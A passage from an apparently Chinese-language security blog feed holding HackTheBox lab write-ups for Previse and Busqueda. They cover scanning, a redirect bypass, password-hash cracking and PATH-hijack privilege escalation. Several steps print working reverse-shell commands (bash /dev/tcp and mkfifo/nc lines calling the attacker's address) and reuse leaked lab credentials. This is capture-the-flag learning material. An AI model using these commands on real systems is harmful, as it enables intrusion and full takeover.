number">33</span>:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 <span class="token punctuation">(</span>ED25519<span class="token punctuation">)</span><span class="token number">80</span>/tcp <span class="token function">open</span>  http    Apache httpd <span class="token number">2.4</span>.29 <span class="token variable"><span class="token punctuation">((</span>Ubuntu<span class="token punctuation">))</span></span><span class="token operator">|</span> http-cookie-flags: <span class="token operator">|</span>   /: <span class="token operator">|</span>     PHPSESSID: <span class="token operator">|</span>_      httponly flag not <span class="token builtin class-name">set</span><span class="token operator">|</span> http-title: Previse Login<span class="token operator">|</span>_Requested resource was login.php<span class="token operator">|</span>_http-server-header: Apache/2.4.29 <span class="token punctuation">(</span>Ubuntu<span class="token punctuation">)</span>Service Info: OS: Linux<span class="token punctuation">;</span> CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">81.53</span> seconds</code></pre><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>访问80端口找到一个登录页面</p><img src="/posts/21913e3f/image-20250404152518515.png" class="" title="登录页面"><p>使用burp 抓包查看站点目录，找到一个accounts.php</p><img src="/posts/21913e3f/image-20250404152429829.png" class="" title="burp"><p>访问这个accounts.php，发现跳转不过去，可以尝试修改响应包 <code>Location：login.php</code> ，之后跳转到 accounts.php </p><img src="/posts/21913e3f/image-20250404152719306.png" class="" title="burp"><img src="/posts/21913e3f/image-20250404141506785.png" class="" title="add new account"><p>添加一个新账号，然后登录可以找到站点备份的压缩包</p><img src="/posts/21913e3f/image-20250404142341145.png" class="" title="登录"><p>下载并解压在config.php中可以找到mysql的用户名和密码</p><img src="/posts/21913e3f/image-20250404142515834.png" class="" title="压缩包"><img src="/posts/21913e3f/image-20250404142709658.png" class="" title="数据库配置"><p>分析其他php文件，在logs.php 中exec方法中引用了POST全局变量</p><img src="/posts/21913e3f/image-20250404142630382.png" class="" title="logs.php"><p>根据格式直接构造反弹shell，最好使用url 编码</p><img src="/posts/21913e3f/image-20250404143853371.png" class="" title="反弹shell"><p>成功反弹shell</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lnvp</span> <span class="token number">9001</span>                                     listening on <span class="token punctuation">[</span>any<span class="token punctuation">]</span> <span class="token number">9001</span> <span class="token punctuation">..</span>.connect to <span class="token punctuation">[</span><span class="token number">10.10</span>.16.39<span class="token punctuation">]</span> from <span class="token punctuation">(</span>UNKNOWN<span class="token punctuation">)</span> <span class="token punctuation">[</span><span class="token number">10.10</span>.11.104<span class="token punctuation">]</span> <span class="token number">35844</span>bash: cannot <span class="token builtin class-name">set</span> terminal process group <span class="token punctuation">(</span><span class="token number">1500</span><span class="token punctuation">)</span>: Inappropriate ioctl <span class="token keyword">for</span> devicebash: no job control <span class="token keyword">in</span> this shellwww-data@previse:/var/www/html$ <span class="token function">id</span><span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">33</span><span class="token punctuation">(</span>www-data<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">33</span><span class="token punctuation">(</span>www-data<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">33</span><span class="token punctuation">(</span>www-data<span class="token punctuation">)</span></code></pre><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p>首先生成交互式shell，方便操作mysql，可以在数据库中查询到两条密码hash</p><pre class="language-mysql" data-language="mysql"><code class="language-mysql">www-data@previse:&#x2F;var&#x2F;www&#x2F;html$ script &#x2F;dev&#x2F;null -c &#x2F;bin&#x2F;bashscript &#x2F;dev&#x2F;null -c &#x2F;bin&#x2F;bashScript started, file is &#x2F;dev&#x2F;nullwww-data@previse:&#x2F;var&#x2F;www&#x2F;html$ mysql -u root -p mysql -u root -p Enter password: mySQL_p@ssw0rd!:)Welcome to the MySQL monitor.  Commands end with ; or \g.Your MySQL connection id is 14Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)Copyright (c) 2000, 2021, Oracle and&#x2F;or its affiliates.Oracle is a registered trademark of Oracle Corporation and&#x2F;or itsaffiliates. Other names may be trademarks of their respectiveowners.Type &#39;help;&#39; or &#39;\h&#39; for help. Type &#39;\c&#39; to clear the current input statement.mysql&gt; show databases;show databases;+--------------------+| Database           |+--------------------+| information_schema || mysql              || performance_schema || previse            || sys                |+--------------------+5 rows in set (0.00 sec)mysql&gt; use previse;use previse;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql&gt; show tables; show tables;+-------------------+| Tables_in_previse |+-------------------+| accounts          || files             |+-------------------+2 rows in set (0.00 sec)mysql&gt; select * from accounts;select * from accounts;+----+----------+------------------------------------+---------------------+| id | username | password                           | created_at          |+----+----------+------------------------------------+---------------------+|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 ||  2 | admin    | $1$🧂llol$uXqzPW6SXUONt.AIOBqLy. | 2025-04-04 05:56:26 |+----+----------+------------------------------------+---------------------+2 rows in set (0.00 sec)</code></pre><p>使用John 破解hash </p><pre class="language-bash" data-language="bash"><code class="language-bash">$ john <span class="token number">1</span>.hash <span class="token parameter variable">--wordlist</span><span class="token operator">=</span>/usr/share/wordlists/rockyou.txt <span class="token parameter variable">--format</span><span class="token operator">=</span>md5crypt-longUsing default input encoding: UTF-8Loaded <span class="token number">2</span> password hashes with no different salts <span class="token punctuation">(</span>md5crypt-long, crypt<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span> <span class="token variable">$1</span>$ <span class="token punctuation">(</span>and variants<span class="token punctuation">)</span> <span class="token punctuation">[</span>MD5 <span class="token number">32</span>/64<span class="token punctuation">]</span><span class="token punctuation">)</span>Will run <span class="token number">8</span> OpenMP threadsPress <span class="token string">'q'</span> or Ctrl-C to abort, almost any other key <span class="token keyword">for</span> statusadmin            <span class="token punctuation">(</span>?<span class="token punctuation">)</span>     ilovecody112235<span class="token operator">!</span> <span class="token punctuation">(</span>?<span class="token punctuation">)</span>     2g <span class="token number">0</span>:00:03:00 DONE <span class="token punctuation">(</span><span class="token number">2025</span>-04-04 <span class="token number">14</span>:57<span class="token punctuation">)</span> <span class="token number">0</span>.01108g/s 41100p/s 41100c/s 41210C/s ilovecokey<span class="token punctuation">..</span>ilovecody<span class="token punctuation">..</span>Use the <span class="token string">"--show"</span> option to display all of the cracked passwords reliablySession completed. </code></pre><p>使用数据库中的用户名和密码登录ssh</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">ssh</span> m4lwhere@10.10.11.104The authenticity of <span class="token function">host</span> <span class="token string">'10.10.11.104 (10.10.11.104)'</span> can't be established.ED25519 key fingerprint is SHA256:BF5tg2bhcRrrCuaeVQXikjd8BCPxgLsnnwHlaBo3dPs.This key is not known by any other names.Are you sure you want to <span class="token builtin class-name">continue</span> connecting <span class="token punctuation">(</span>yes/no/<span class="token punctuation">[</span>fingerprint<span class="token punctuation">]</span><span class="token punctuation">)</span>? <span class="token function">yes</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>Last login: Fri Jun <span class="token number">18</span> 01:09:10 <span class="token number">2021</span> from <span class="token number">10.10</span>.10.5m4lwhere@previse:~$ <span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>m4lwhere<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>m4lwhere<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>m4lwhere<span class="token punctuation">)</span>m4lwhere@previse:~$ <span class="token function">ls</span>user.txt</code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>使用sudo -l 查看是否有可以利用的配置，找到一个备份功能的脚本，查看脚本功能很简单就是使用gzip把日志文件归档。</p><p>gzip 并不是绝对路径，那可以使用path劫持来提权，进入&#x2F;tmp 创建一个shell脚本，命名为gzip，内容为</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span><span class="token function">bash</span> <span class="token parameter variable">-i</span> <span class="token operator">&amp;></span>/dev/tcp/10.10.16.39/9003 <span class="token operator">&lt;</span><span class="token file-descriptor important">&amp;1</span> </code></pre><p>然后将&#x2F;tmp 添加到环境变量，最后给脚本添加执行权限，运行脚本</p><pre class="language-bash" data-language="bash"><code class="language-bash">m4lwhere@previse:~$ <span class="token function">sudo</span> <span class="token parameter variable">-l</span><span class="token punctuation">[</span>sudo<span class="token punctuation">]</span> password <span class="token keyword">for</span> m4lwhere: User m4lwhere may run the following commands on previse:    <span class="token punctuation">(</span>root<span class="token punctuation">)</span> /opt/scripts/access_backup.shm4lwhere@previse:~$ <span class="token function">cat</span> /opt/scripts/access_backup.sh<span class="token comment">#!/bin/bash</span><span class="token comment"># We always make sure to store logs, we take security SERIOUSLY here</span><span class="token comment"># I know I shouldnt run this as root but I cant figure it out programmatically on my account</span><span class="token comment"># This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time</span><span class="token function">gzip</span> <span class="token parameter variable">-c</span> /var/log/apache2/access.log <span class="token operator">></span> /var/backups/<span class="token variable"><span class="token variable">$(</span><span class="token function">date</span> <span class="token parameter variable">--date</span><span class="token operator">=</span><span class="token string">"yesterday"</span> +%Y%b%d<span class="token variable">)</span></span>_access.gz<span class="token function">gzip</span> <span class="token parameter variable">-c</span> /var/www/file_access.log <span class="token operator">></span> /var/backups/<span class="token variable"><span class="token variable">$(</span><span class="token function">date</span> <span class="token parameter variable">--date</span><span class="token operator">=</span><span class="token string">"yesterday"</span> +%Y%b%d<span class="token variable">)</span></span>_file_access.gzm4lwhere@previse:/tmp$ <span class="token builtin class-name">echo</span> <span class="token environment constant">$PATH</span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/binm4lwhere@previse:/tmp$ <span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">PATH</span></span><span class="token operator">=</span><span class="token variable"><span class="token variable">`</span><span class="token builtin class-name">pwd</span><span class="token variable">`</span></span><span class="token builtin class-name">:</span><span class="token environment constant">$PATH</span>m4lwhere@previse:/tmp$ <span class="token function">nano</span> <span class="token function">gzip</span> m4lwhere@previse:/tmp<span class="token comment"># cat gzip</span><span class="token comment">#!/bin/bash</span><span class="token function">bash</span> <span class="token parameter variable">-i</span> <span class="token operator">&amp;></span>/dev/tcp/10.10.16.39/9003 <span class="token operator">&lt;</span><span class="token file-descriptor important">&amp;1</span> m4lwhere@previse:/tmp$ <span class="token function">chmod</span> +x <span class="token function">gzip</span> m4lwhere@previse:/tmp$ <span class="token function">sudo</span> /opt/scripts/access_backup.sh </code></pre><p>成功反弹shell</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lnvp</span> <span class="token number">9003</span>listening on <span class="token punctuation">[</span>any<span class="token punctuation">]</span> <span class="token number">9003</span> <span class="token punctuation">..</span>.connect to <span class="token punctuation">[</span><span class="token number">10.10</span>.16.39<span class="token punctuation">]</span> from <span class="token punctuation">(</span>UNKNOWN<span class="token punctuation">)</span> <span class="token punctuation">[</span><span class="token number">10.10</span>.11.104<span class="token punctuation">]</span> <span class="token number">40558</span>root@previse:/tmp<span class="token comment"># id      </span><span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span></code></pre><table><thead><tr><th>Flag</th><th>Path</th></tr></thead><tbody><tr><td>Flag1</td><td>&#x2F;home&#x2F;m4lwhere&#x2F;user.txt</td></tr><tr><td>Flag2</td><td>&#x2F;root&#x2F;root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.kvutcturomws{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/21913e3f/e3c542ada4b134e29e534e3081ef9650.png&quot; class=&quot;kvutcturomws&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="Bypass" scheme="https://ry0ma24.github.io/tags/Bypass/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Busqueda</title>
    <link href="https://ry0ma24.github.io/posts/d91931aa.html"/>
    <id>https://ry0ma24.github.io/posts/d91931aa.html</id>
    <published>2025-03-23T02:49:00.000Z</published>
    <updated>2025-04-25T08:44:00.915Z</updated>
    
    <content type="html"><![CDATA[<style>.xvohoaovtfhf{zoom:50%;}</style><img src="/posts/d91931aa/a6942ab57b6a79f71240420442027334.png" class="xvohoaovtfhf"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Linux</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.11.208  <span class="token parameter variable">-sC</span> <span class="token parameter variable">-sV</span> -p- <span class="token parameter variable">-T4</span> --min-rate <span class="token number">1000</span> Starting Nmap <span class="token number">7.95</span> <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-03-23 <span class="token number">10</span>:49 CSTWarning: <span class="token number">10.10</span>.11.208 giving up on port because retransmission cap hit <span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span>.Nmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.11.208Host is up <span class="token punctuation">(</span><span class="token number">0</span>.15s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">65507</span> closed tcp ports <span class="token punctuation">(</span>reset<span class="token punctuation">)</span>, <span class="token number">26</span> filtered tcp ports <span class="token punctuation">(</span>no-response<span class="token punctuation">)</span>PORT   STATE SERVICE VERSION<span class="token number">22</span>/tcp <span class="token function">open</span>  <span class="token function">ssh</span>     OpenSSH <span class="token number">8</span>.9p1 Ubuntu 3ubuntu0.1 <span class="token punctuation">(</span>Ubuntu Linux<span class="token punctuation">;</span> protocol <span class="token number">2.0</span><span class="token punctuation">)</span><span class="token operator">|</span> ssh-hostkey: <span class="token operator">|</span>   <span class="token number">256</span> 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 <span class="token punctuation">(</span>ECDSA<span class="token punctuation">)</span><span class="token operator">|</span>_  <span class="token number">256</span> <span class="token number">81</span>:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 <span class="token punctuation">(</span>ED25519<span class="token punctuation">)</span><span class="token number">80</span>/tcp <span class="token function">open</span>  http    Apache httpd <span class="token number">2.4</span>.52<span class="token operator">|</span>_http-title: Did not follow redirect to http://searcher.htb/<span class="token operator">|</span>_http-server-header: Apache/2.4.52 <span class="token punctuation">(</span>Ubuntu<span class="token punctuation">)</span>Service Info: Host: searcher.htb<span class="token punctuation">;</span> OS: Linux<span class="token punctuation">;</span> CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">127.64</span> seconds</code></pre><p>访问80端口，自动跳转到<code>http://searcher.htb</code> ,添加本地域名解析</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'10.10.11.208  searcher.htb'</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> <span class="token parameter variable">-a</span> /etc/hosts </code></pre><p>抓包触发报错，在报错信息种可以找到版本号</p><img src="/posts/d91931aa/image-20250323111357967.png" class="" title="burp"><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>通过找到的版本号检索漏洞</p><img src="/posts/d91931aa/image-20250324112347626.png" class="" title="exp"><pre class="language-bash" data-language="bash"><code class="language-bash">$ ./exploit.sh searcher.htb <span class="token number">10.10</span>.16.39 <span class="token number">9001</span>  ---<span class="token punctuation">[</span>Reverse Shell Exploit <span class="token keyword">for</span> Searchor <span class="token operator">&lt;=</span> <span class="token number">2.4</span>.2 <span class="token punctuation">(</span><span class="token number">2.4</span>.0<span class="token punctuation">)</span><span class="token punctuation">]</span>---<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Input target is searcher.htb<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Input attacker is <span class="token number">10.10</span>.16.39:9001<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Run the Reverse Shell<span class="token punctuation">..</span>. Press Ctrl+C after successful connection</code></pre><p>成功反弹shell</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lvnp</span> <span class="token number">9001</span> listening on <span class="token punctuation">[</span>any<span class="token punctuation">]</span> <span class="token number">9001</span> <span class="token punctuation">..</span>.connect to <span class="token punctuation">[</span><span class="token number">10.10</span>.16.39<span class="token punctuation">]</span> from <span class="token punctuation">(</span>UNKNOWN<span class="token punctuation">)</span> <span class="token punctuation">[</span><span class="token number">10.10</span>.11.208<span class="token punctuation">]</span> <span class="token number">47162</span>bash: cannot <span class="token builtin class-name">set</span> terminal process group <span class="token punctuation">(</span><span class="token number">1620</span><span class="token punctuation">)</span>: Inappropriate ioctl <span class="token keyword">for</span> devicebash: no job control <span class="token keyword">in</span> this shellsvc@busqueda:/var/www/app$ <span class="token function">id</span><span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>svc<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>svc<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>svc<span class="token punctuation">)</span>svc@busqueda:/var/www/app$ </code></pre><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p>在&#x2F;var&#x2F;www&#x2F;app&#x2F;.git&#x2F;config中可以找到用户名密码和新的域名</p><pre class="language-bash" data-language="bash"><code class="language-bash">svc@busqueda:/var/www/app/.git$ <span class="token function">cat</span> config<span class="token function">cat</span> config<span class="token punctuation">[</span>core<span class="token punctuation">]</span>repositoryformatversion <span class="token operator">=</span> <span class="token number">0</span>filemode <span class="token operator">=</span> <span class="token boolean">true</span>bare <span class="token operator">=</span> <span class="token boolean">false</span>logallrefupdates <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">[</span>remote <span class="token string">"origin"</span><span class="token punctuation">]</span>url <span class="token operator">=</span> http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.gitfetch <span class="token operator">=</span> +refs/heads/*:refs/remotes/origin/*<span class="token punctuation">[</span>branch <span class="token string">"main"</span><span class="token punctuation">]</span>remote <span class="token operator">=</span> originmerge <span class="token operator">=</span> refs/heads/main</code></pre><p>,添加本地域名解析</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token string">"10.10.11.208 gitea.searcher.htb"</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> <span class="token parameter variable">-a</span> /etc/hosts</code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>使用获取到的密码和svc用户登录ssh，发现可以登录成功，查找sudo 配置，可以找到一个Python脚本</p><pre class="language-bash" data-language="bash"><code class="language-bash"> <span class="token function">ssh</span> svc@10.10.11.208The authenticity of <span class="token function">host</span> <span class="token string">'10.10.11.208 (10.10.11.208)'</span> can<span class="token string">'t be established.ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '</span><span class="token number">10.10</span>.11.208<span class="token string">' (ED25519) to the list of known hosts.svc@10.10.11.208'</span>s password: Welcome to Ubuntu <span class="token number">22.04</span>.2 LTS <span class="token punctuation">(</span>GNU/Linux <span class="token number">5.15</span>.0-69-generic x86_64<span class="token punctuation">)</span> * Documentation:  https://help.ubuntu.com * Management:     https://landscape.canonical.com * Support:        https://ubuntu.com/advantage<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>The list of available updates is <span class="token function">more</span> than a week old.To check <span class="token keyword">for</span> new updates run: <span class="token function">sudo</span> <span class="token function">apt</span> updateLast login: Tue Apr  <span class="token number">4</span> <span class="token number">17</span>:02:09 <span class="token number">2023</span> from <span class="token number">10.10</span>.14.19svc@busqueda:~$ <span class="token function">sudo</span> <span class="token parameter variable">-l</span><span class="token punctuation">[</span>sudo<span class="token punctuation">]</span> password <span class="token keyword">for</span> svc: Matching Defaults entries <span class="token keyword">for</span> svc on busqueda:    env_reset, mail_badpass,    <span class="token assign-left variable">secure_path</span><span class="token operator">=</span>/usr/local/sbin<span class="token punctuation">\</span>:/usr/local/bin<span class="token punctuation">\</span>:/usr/sbin<span class="token punctuation">\</span>:/usr/bin<span class="token punctuation">\</span>:/sbin<span class="token punctuation">\</span>:/bin<span class="token punctuation">\</span>:/snap/bin,    use_ptyUser svc may run the following commands on busqueda:    <span class="token punctuation">(</span>root<span class="token punctuation">)</span> /usr/bin/python3 /opt/scripts/system-checkup.py *</code></pre><p>尝试运行脚本，支持三个命令</p><pre class="language-none"><code class="language-none">svc@busqueda:&#x2F;opt&#x2F;scripts$ sudo &#x2F;usr&#x2F;bin&#x2F;python3  &#x2F;opt&#x2F;scripts&#x2F;system-checkup.py *Usage: &#x2F;opt&#x2F;scripts&#x2F;system-checkup.py &lt;action&gt; (arg1) (arg2)     docker-ps     : List running docker containers     docker-inspect : Inpect a certain docker container     full-checkup  : Run a full system checkup</code></pre><p>使用 docker-inspect 查找环境配置，可以找到一条密码</p><pre class="language-none"><code class="language-none">svc@busqueda:~$ sudo &#x2F;usr&#x2F;bin&#x2F;python3  &#x2F;opt&#x2F;scripts&#x2F;system-checkup.py docker-inspect &#39;&#123;&#123;json .&#125;&#125;&#39; gitea | jq&lt;...&gt;&quot;Env&quot;: [      &quot;USER_UID&#x3D;115&quot;,      &quot;USER_GID&#x3D;121&quot;,      &quot;GITEA__database__DB_TYPE&#x3D;mysql&quot;,      &quot;GITEA__database__HOST&#x3D;db:3306&quot;,      &quot;GITEA__database__NAME&#x3D;gitea&quot;,      &quot;GITEA__database__USER&#x3D;gitea&quot;,      &quot;GITEA__database__PASSWD&#x3D;yuiu1hoiu4i5ho1uh&quot;,      &quot;PATH&#x3D;&#x2F;usr&#x2F;local&#x2F;sbin:&#x2F;usr&#x2F;local&#x2F;bin:&#x2F;usr&#x2F;sbin:&#x2F;usr&#x2F;bin:&#x2F;sbin:&#x2F;bin&quot;,      &quot;USER&#x3D;git&quot;,      &quot;GITEA_CUSTOM&#x3D;&#x2F;data&#x2F;gitea&quot;    ],    &quot;Cmd&quot;: [      &quot;&#x2F;bin&#x2F;s6-svscan&quot;,      &quot;&#x2F;etc&#x2F;s6&quot;    ],    &quot;Image&quot;: &quot;gitea&#x2F;gitea:latest&quot;,&lt;...&gt;</code></pre><p>先使用cody 登录gitea 可以找到另一个用户是administrator，使用找到的密码登录gitea  administrator：yuiu1hoiu4i5ho1uh</p><img src="/posts/d91931aa/image-20250323132554909.png" class="" title="code review"><p>分析代码·<code> arg_list = [&#39;./full-checkup.sh&#39;]</code>  使用的是相对路径</p><pre class="language-Python" data-language="Python"><code class="language-Python">#!&#x2F;bin&#x2F;bashimport subprocessimport sysactions &#x3D; [&#39;full-checkup&#39;, &#39;docker-ps&#39;,&#39;docker-inspect&#39;]def run_command(arg_list):    r &#x3D; subprocess.run(arg_list, capture_output&#x3D;True)    if r.stderr:        output &#x3D; r.stderr.decode()    else:        output &#x3D; r.stdout.decode()    return outputdef process_action(action):    if action &#x3D;&#x3D; &#39;docker-inspect&#39;:        try:            _format &#x3D; sys.argv[2]            if len(_format) &#x3D;&#x3D; 0:                print(f&quot;Format can&#39;t be empty&quot;)                exit(1)            container &#x3D; sys.argv[3]            arg_list &#x3D; [&#39;docker&#39;, &#39;inspect&#39;, &#39;--format&#39;, _format, container]            print(run_command(arg_list))                 except IndexError:            print(f&quot;Usage: &#123;sys.argv[0]&#125; docker-inspect &lt;format&gt; &lt;container_name&gt;&quot;)            exit(1)            except Exception as e:            print(&#39;Something went wrong&#39;)            exit(1)        elif action &#x3D;&#x3D; &#39;docker-ps&#39;:        try:            arg_list &#x3D; [&#39;docker&#39;, &#39;ps&#39;]            print(run_command(arg_list))                 except:            print(&#39;Something went wrong&#39;)            exit(1)    elif action &#x3D;&#x3D; &#39;full-checkup&#39;:        try:            arg_list &#x3D; [&#39;.&#x2F;full-checkup.sh&#39;]            print(run_command(arg_list))            print(&#39;[+] Done!&#39;)        except:            print(&#39;Something went wrong&#39;)            exit(1)            if __name__ &#x3D;&#x3D; &#39;__main__&#39;:    try:        action &#x3D; sys.argv[1]        if action in actions:            process_action(action)        else:            raise IndexError    except IndexError:        print(f&#39;Usage: &#123;sys.argv[0]&#125; &lt;action&gt; (arg1) (arg2)&#39;)        print(&#39;&#39;)        print(&#39;     docker-ps     : List running docker containers&#39;)        print(&#39;     docker-inspect : Inpect a certain docker container&#39;)        print(&#39;     full-checkup  : Run a full system checkup&#39;)        print(&#39;&#39;)        exit(1)</code></pre><p>使用nano 在&#x2F;tmp 创建full-checkup.sh </p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span><span class="token function">rm</span> /tmp/f<span class="token punctuation">;</span><span class="token function">mkfifo</span> /tmp/f<span class="token punctuation">;</span><span class="token function">cat</span> /tmp/f<span class="token operator">|</span>/bin/sh <span class="token parameter variable">-i</span> <span class="token operator"><span class="token file-descriptor important">2</span>></span><span class="token file-descriptor important">&amp;1</span><span class="token operator">|</span><span class="token function">nc</span> <span class="token number">10.10</span>.16.39 <span class="token number">9009</span> <span class="token operator">></span>/tmp/f</code></pre><p>添加执行权限，然后执行命令</p><pre class="language-bash" data-language="bash"><code class="language-bash">svc@busqueda:/tmp$ <span class="token function">chmod</span> +x full-checkup.sh svc@busqueda:/tmp$ <span class="token function">sudo</span> /usr/bin/python3  /opt/scripts/system-checkup.py full-checkup</code></pre><p>Getshell</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lnvp</span> <span class="token number">9009</span>listening on <span class="token punctuation">[</span>any<span class="token punctuation">]</span> <span class="token number">9009</span> <span class="token punctuation">..</span>.connect to <span class="token punctuation">[</span><span class="token number">10.10</span>.16.39<span class="token punctuation">]</span> from <span class="token punctuation">(</span>UNKNOWN<span class="token punctuation">)</span> <span class="token punctuation">[</span><span class="token number">10.10</span>.11.208<span class="token punctuation">]</span> <span class="token number">36396</span><span class="token comment"># id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span><span class="token comment"># cat /root/root.txt</span></code></pre><table><thead><tr><th>Flag</th><th>Path</th></tr></thead><tbody><tr><td>Flag1</td><td>&#x2F;home&#x2F;svc&#x2F;user.txt</td></tr><tr><td>Flag2</td><td>&#x2F;root&#x2F;root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.xvohoaovtfhf{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/d91931aa/a6942ab57b6a79f71240420442027334.png&quot; class=&quot;xvohoaovtfhf&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="密码重用" scheme="https://ry0ma24.github.io/tags/%E5%AF%86%E7%A0%81%E9%87%8D%E7%94%A8/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Sauna</title>
    <link href="https://ry0ma24.github.io/posts/5551a214.html"/>
    <id>https://ry0ma24.github.io/posts/5551a214.html</id>
    <published>2025-03-22T07:19:10.000Z</published>
    <updated>2025-04-25T08:44:00.918Z</updated>
    
